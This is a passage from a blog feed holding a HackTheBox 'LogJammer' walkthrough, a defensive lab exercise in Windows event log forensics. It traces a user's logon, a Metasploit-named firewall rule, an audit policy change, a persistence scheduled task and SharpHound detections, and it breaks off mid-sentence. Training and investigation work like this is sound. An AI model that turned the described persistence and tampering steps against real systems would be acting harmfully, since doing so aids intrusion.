&gt;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;GitHub — Tun2Socks:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/xjasonlyu/tun2socks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/xjasonlyu/tun2socks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — C2 IP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/77.91.124.20&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/77.91.124.20&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — LogJammer Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/</link>
            <pubDate>Mon, 09 Feb 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/b36e3a3ac52db8f63644f36a9fd3cbb6_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — LogJammer Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hacktheboxlogjammer-sherlock-walkthrough&#34;&gt;HackTheBox — LogJammer Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;windows-event-log-forensics-investigating-persistence-malware-and-log-tampering-with-event-log-explorer--flarevm&#34;&gt;Windows Event Log Forensics: Investigating Persistence, Malware, and Log Tampering with Event Log Explorer &amp;amp; FLARE‑VM.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;b36e3a3ac52db8f63644f36a9fd3cbb6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/b36e3a3ac52db8f63644f36a9fd3cbb6_MD5.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/LogJammer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/LogJammer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/LogJammer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LogJammer&lt;/strong&gt;&lt;/a&gt; Sherlock challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This is the seventh challenge in the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/tracks/Intro-to-Blue-Team&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Intro to Blue Team&lt;/em&gt;&lt;/a&gt; track, but you can jump in at any point. If you’re following along or you’re a completionist, check out my write-up of the previous free challenge — &lt;strong&gt;Meerkat&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/&#34; &gt;&lt;strong&gt;HackTheBox | Meerkat | Sherlock Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You have been presented with the opportunity to work as a junior DFIR consultant for a big consultancy. However, they have provided a technical assessment for you to complete. The consultancy Forela-Security would like to gauge your Windows Event Log Analysis knowledge. We believe the Cyberjunkie user logged in to his computer and may have taken malicious actions. Please analyze the given event logs and report back.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This challenge is all about &lt;strong&gt;Windows Event Log Analysis&lt;/strong&gt; and leans heavily on choosing the correct log, filtering for specific event IDs, and weaving together activity across multiple logs. It’s up to us to meet the moment and show off our event log analysis skills. Don’t worry if you’re new to this topic — I’ll link plenty of helpful resources that you can use in your own investigations.&lt;/p&gt;&#xA;&lt;p&gt;But having great references is only half the battle. We also need solid tools. For this walkthrough, we’ll rely primarily on &lt;strong&gt;Event Log Explorer&lt;/strong&gt;, a tool that makes filtering, pivoting, and correlating events far faster than using the built‑in &lt;em&gt;Windows Event Viewer&lt;/em&gt;. It’s a huge timesaver when you’re staring down thousands of log entries.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you’re new to Windows endpoint forensics or you just want to sharpen your analysis skills, this is a fantastic challenge to tackle. Let’s go!&lt;/p&gt;&#xA;&lt;p&gt;And, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — please consider following me to get more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;Hack the Box&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge which is “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-when-did-the-cyberjunkie-user-first-successfully-log-into-his-computer-utc&#34;&gt;Question 1: When did the cyberjunkie user first successfully log into his computer? (UTC)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve gotten our analysis environment all set up, let’s kick off this investigation by extracting the challenge file and taking a look at the available artifacts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d9048ba2aa015e8784b5c7c2078c7061_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;648px&#34; data-flex-grow=&#34;270&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/d9048ba2aa015e8784b5c7c2078c7061_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;We have five Event Logs available in this challenge, each providing different insights:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Powershell‑Operational.evtx&lt;/strong&gt;: This event log contains &lt;em&gt;“details about PowerShell operations, such as starting and stopping the engine and providers, and executing PowerShell commands.”&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Security.evtx&lt;/strong&gt;: This event log contains &lt;em&gt;“logs related to logins, privileges, and other similar events.”&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;System.evtx&lt;/strong&gt;: This event log contains &lt;em&gt;“logs created by the operating system.”&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Windows Defender‑Operational.evtx&lt;/strong&gt;: This event log contains logs related to &lt;em&gt;Microsoft Defender Antivirus&lt;/em&gt; operational and malware‑related events.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Windows Firewall‑Firewall.evtx&lt;/strong&gt;: This event log contains events related to the &lt;em&gt;Windows Firewall with Advanced Security&lt;/em&gt;, including rule additions, modifications, and deletions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now that we understand what we’re working with, we can identify the correct log to answer &lt;strong&gt;Question 1&lt;/strong&gt;. Since we’re searching for a sign‑in event, we’ll work directly in the &lt;strong&gt;Security&lt;/strong&gt; log and filter for Event ID &lt;code&gt;4624&lt;/code&gt; (&amp;ldquo;An account was successfully logged on&amp;rdquo;).&lt;/p&gt;&#xA;&lt;p&gt;You can absolutely use the built‑in Windows Event Viewer, but there’s a more efficient option: &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;. Because &lt;em&gt;Event Log Explorer&lt;/em&gt; is already installed in the Flare‑VM analysis environment, that’s what I’ll be using in this walkthrough. I encourage you to try it if you aren’t familiar with it — the filtering features save a surprising amount of time.&lt;/p&gt;&#xA;&lt;h4 id=&#34;steps-in-event-logexplorer&#34;&gt;Steps in Event Log Explorer&#xA;&lt;/h4&gt;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;em&gt;Event Log Explorer&lt;/em&gt; and load &lt;code&gt;Security.evtx&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;strong&gt;Filter&lt;/strong&gt; button and enter &lt;code&gt;4624&lt;/code&gt; into the Event ID field.&lt;/li&gt;&#xA;&lt;li&gt;To narrow this down further, use &lt;strong&gt;Description params&lt;/strong&gt; → select &lt;em&gt;“New Logon\Account Name”&lt;/em&gt; → operator: &lt;em&gt;contains&lt;/em&gt; → value: &lt;code&gt;cyberjunkie&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;This returns only the successful logons for this user. Sort by time and double‑click the earliest entry.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a6090e5c78d345aa1bebc3a4337de9d9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;482px&#34; data-flex-grow=&#34;201&#34; height=&#34;398&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/a6090e5c78d345aa1bebc3a4337de9d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering for 4624 events&lt;/p&gt;&#xA;&lt;p&gt;With the targeted filter in place, we can stumble straight into the events we need without digging through thousands of unrelated entries. Since we’re searching for the &lt;em&gt;first&lt;/em&gt; successful login, open the earliest one. From here, there’s one more thing we need: the &lt;strong&gt;UTC timestamp&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Double-click to open the event.&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;strong&gt;XML&lt;/strong&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;Expand the &lt;strong&gt;System&lt;/strong&gt; node.&lt;/li&gt;&#xA;&lt;li&gt;Look for the &lt;code&gt;TimeCreated &amp;gt; SystemTime&lt;/code&gt; attribute.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The &lt;code&gt;SystemTime&lt;/code&gt; value is always stored in UTC and is the timestamp you’ll need for the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4eb781454684604eaed74a7712842b8c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/4eb781454684604eaed74a7712842b8c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the logon time in UTC&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve successfully identified the cyberjunkie’s first successful logon, we can move on to the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2f3125f8b50fe8bec4a50293307bc97f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1263px&#34; data-flex-grow=&#34;526&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/2f3125f8b50fe8bec4a50293307bc97f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-2-3&#34;&gt;Questions 2 &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;the-user-tampered-with-firewall-settings-on-the-system-analyze-the-firewall-event-logs-to-find-out-the-name-of-the-firewall-ruleadded&#34;&gt;The user tampered with firewall settings on the system. Analyze the firewall event logs to find out the Name of the firewall rule added?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;whats-the-direction-of-the-firewallrule&#34;&gt;Whats the direction of the firewall rule?&#xA;&lt;/h4&gt;&lt;p&gt;Next up, we need to figure out what firewall rule &lt;em&gt;cyberjunkie&lt;/em&gt; tampered with. For this step, open the &lt;strong&gt;Windows Firewall‑Firewall.evtx&lt;/strong&gt; artifact in &lt;em&gt;Event Log Explorer&lt;/em&gt;. Just like before, there’s plenty of noise in this log, but we can cut through it by focusing on events that occurred &lt;em&gt;after&lt;/em&gt; the first &lt;em&gt;cyberjunkie&lt;/em&gt; sign‑in on 3/27/2023 at 10:37:09 AM.&lt;/p&gt;&#xA;&lt;p&gt;Filtering by time quickly helps us identify the events we care about. Near the top of the log, we’ll find an Event ID &lt;code&gt;2004&lt;/code&gt;, which indicates that a rule has been added to the Windows Defender Firewall exception rules.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;dd5a0b3d39aebad4f7d2d07013d085f7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;721px&#34; data-flex-grow=&#34;300&#34; height=&#34;266&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/dd5a0b3d39aebad4f7d2d07013d085f7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Finding a suspicious firewall exception rule&lt;/p&gt;&#xA;&lt;p&gt;Opening this event gives us everything we need. The rule name includes the name of a well‑known penetration testing tool: &lt;strong&gt;Metasploit&lt;/strong&gt;. Since this is a challenge scenario, that kind of red-flag naming is intentional and makes the rule easy to spot.&lt;/p&gt;&#xA;&lt;p&gt;Inside the same event, you’ll also find the &lt;code&gt;Direction&lt;/code&gt; attribute, which has a value of &lt;code&gt;2&lt;/code&gt;. In Windows Firewall terminology, that value represents an &lt;strong&gt;outbound&lt;/strong&gt; rule. Finally, we can correlate the &lt;code&gt;ModifyingUser&lt;/code&gt; SID to confirm that &lt;em&gt;cyberjunkie&lt;/em&gt; is indeed the account responsible for adding it.&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve extracted both the rule name and its direction, we’re ready to move on to the next part of the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;39fae4f9c1d4de8d9565c654e659c338_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/39fae4f9c1d4de8d9565c654e659c338_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-user-changed-audit-policy-of-the-computer-whats-the-subcategory-of-this-changedpolicy&#34;&gt;Question 4: The user changed audit policy of the computer. Whats the Subcategory of this changed policy?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to identify a change to the computer’s audit policy and determine the subcategory that was modified. This is an event I’m not familiar with off‑hand, so this is a good time to pivot and do a little research.&lt;/p&gt;&#xA;&lt;p&gt;One of my favorite quick‑reference resources for security event IDs is the &lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx?i=j&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ultimate Windows Security Windows Security Log Events Encyclopedia&lt;/strong&gt;&lt;/a&gt;. A simple search for &lt;em&gt;“audit policy”&lt;/em&gt; points us toward Event ID &lt;code&gt;4719&lt;/code&gt;, which corresponds to &lt;em&gt;“System audit policy was changed.”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4719&#34;  title=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4719&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows Security Log Event ID 4719 - System audit policy was changed&lt;/strong&gt;&#xA;_4719: System audit policy was changed On this page This computer&amp;rsquo;s system level audit policy was modified - either via…_www.ultimatewindowssecurity.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4719&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve identified the correct event, we can return to &lt;code&gt;Security.evtx&lt;/code&gt; in &lt;em&gt;Event Log Explorer&lt;/em&gt; and apply a filter for Event ID &lt;code&gt;4719&lt;/code&gt;. This gives us a single event, which makes our job nice and straightforward. We just need to grab the &lt;strong&gt;Subcategory&lt;/strong&gt; value from the event details to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;Once we extract that field, we’ll have everything we need for &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;68a56f439e65f8b212c30a13bb22a299_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;813px&#34; data-flex-grow=&#34;338&#34; height=&#34;236&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/68a56f439e65f8b212c30a13bb22a299_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the subcategory in Event ID 4719&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3a0ed7a3635065ea0e8d62debb195076_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1263px&#34; data-flex-grow=&#34;526&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/3a0ed7a3635065ea0e8d62debb195076_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6-7&#34;&gt;Questions 5, 6, &amp;amp; 7:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;the-user-cyberjunkie-created-a-scheduled-task-whats-the-name-of-thistask&#34;&gt;The user “cyberjunkie” created a scheduled task. Whats the name of this task?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;whats-the-full-path-of-the-file-which-was-scheduled-for-thetask&#34;&gt;Whats the full path of the file which was scheduled for the task?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-are-the-arguments-of-thecommand&#34;&gt;What are the arguments of the command?&#xA;&lt;/h4&gt;&lt;p&gt;Moving right along, &lt;strong&gt;Questions 5, 6,&lt;/strong&gt; and &lt;strong&gt;7&lt;/strong&gt; focus on identifying a scheduled task created by &lt;em&gt;cyberjunkie&lt;/em&gt;. This is important because scheduled tasks are a classic persistence technique. An attacker can schedule recurring execution of scripts or binaries to maintain access long after their initial intrusion. This technique maps directly to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Scheduled Task/Job: Scheduled Task (T1053.005)&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To investigate this, we’ll turn again to the &lt;em&gt;Ultimate Windows Security Windows Security Log Events Encyclopedia&lt;/em&gt;. A quick lookup shows that scheduled task creation is logged as Event ID &lt;code&gt;4698&lt;/code&gt;, which corresponds to &lt;em&gt;“A scheduled task was created.”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4698&#34;  title=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4698&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows Security Log Event ID 4698 - A scheduled task was created&lt;/strong&gt;&#xA;_4698: A scheduled task was created On this page The user indicated in Subject: just created a new scheduled task (Start…_www.ultimatewindowssecurity.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4698&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With that information in hand, we return to &lt;code&gt;Security.evtx&lt;/code&gt; in &lt;em&gt;Event Log Explorer&lt;/em&gt; and adjust our filter to Event ID &lt;code&gt;4698&lt;/code&gt;. Just like in the previous questions, this gives us a single event to review, making the analysis easy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6856902d3b35f1f6ce1641c658375010_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/6856902d3b35f1f6ce1641c658375010_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Analyzing the scheduled task&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the event description reveals everything we need to answer all three questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The name of the scheduled task&lt;/li&gt;&#xA;&lt;li&gt;The full path to the &lt;em&gt;PowerShell&lt;/em&gt; script (&lt;code&gt;Automation-HTB.ps1&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The command‑line arguments used when the task was created&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Once we extract those details, we’ve successfully solved &lt;strong&gt;Questions 5, 6,&lt;/strong&gt; and &lt;strong&gt;7&lt;/strong&gt; — and we’re ready to stumble into the next part of the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bb86a9a337472aa6e860759758c03cab_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;387px&#34; data-flex-grow=&#34;161&#34; height=&#34;496&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/bb86a9a337472aa6e860759758c03cab_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-8-9-10&#34;&gt;Questions 8, 9, &amp;amp; 10:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;the-antivirus-running-on-the-system-identified-a-threat-and-performed-actions-on-it-which-tool-was-identified-as-malware-by-antivirus&#34;&gt;The antivirus running on the system identified a threat and performed actions on it. Which tool was identified as malware by antivirus?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;whats-the-full-path-of-the-malware-which-raised-thealert&#34;&gt;Whats the full path of the malware which raised the alert?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-action-was-taken-by-the-antivirus&#34;&gt;What action was taken by the antivirus?&#xA;&lt;/h4&gt;&lt;p&gt;Questions 8, 9, and 10 all focus on malware detection activity on the compromised device. To answer them, we’ll work with the &lt;strong&gt;Windows Defender‑Operational.evtx&lt;/strong&gt; artifact, which contains logs related to &lt;em&gt;Microsoft Defender Antivirus&lt;/em&gt; operational and malware‑related events.&lt;/p&gt;&#xA;&lt;p&gt;Load this artifact into &lt;em&gt;Event Log Explorer&lt;/em&gt;. For this investigation, we’ll filter for Event IDs &lt;code&gt;1116&lt;/code&gt; and &lt;code&gt;1117&lt;/code&gt;. According to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-1116&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt;, these correspond to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;1116&lt;/code&gt; — &lt;em&gt;MALWAREPROTECTION_STATE_MALWARE_DETECTED&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1117&lt;/code&gt; — &lt;em&gt;MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Even though this log contains a lot of noise, we can narrow things down again by focusing only on events that occurred &lt;em&gt;after&lt;/em&gt; the first &lt;em&gt;cyberjunkie&lt;/em&gt; login. Doing this drops us down to only four events: two detections (&lt;code&gt;1116&lt;/code&gt;) and two actions (&lt;code&gt;1117&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a9149e434aa29ab8c57acfdfc08daba7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/a9149e434aa29ab8c57acfdfc08daba7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Defender events after the threat actor sign-in&lt;/p&gt;&#xA;&lt;p&gt;Looking at the &lt;code&gt;1116&lt;/code&gt; events, we see that &lt;em&gt;Microsoft Defender&lt;/em&gt; detected two components of &lt;strong&gt;SharpHound&lt;/strong&gt; (&lt;code&gt;SharpHound.ps1&lt;/code&gt; and &lt;code&gt;SharpHound.exe&lt;/code&gt;). SharpHound is the 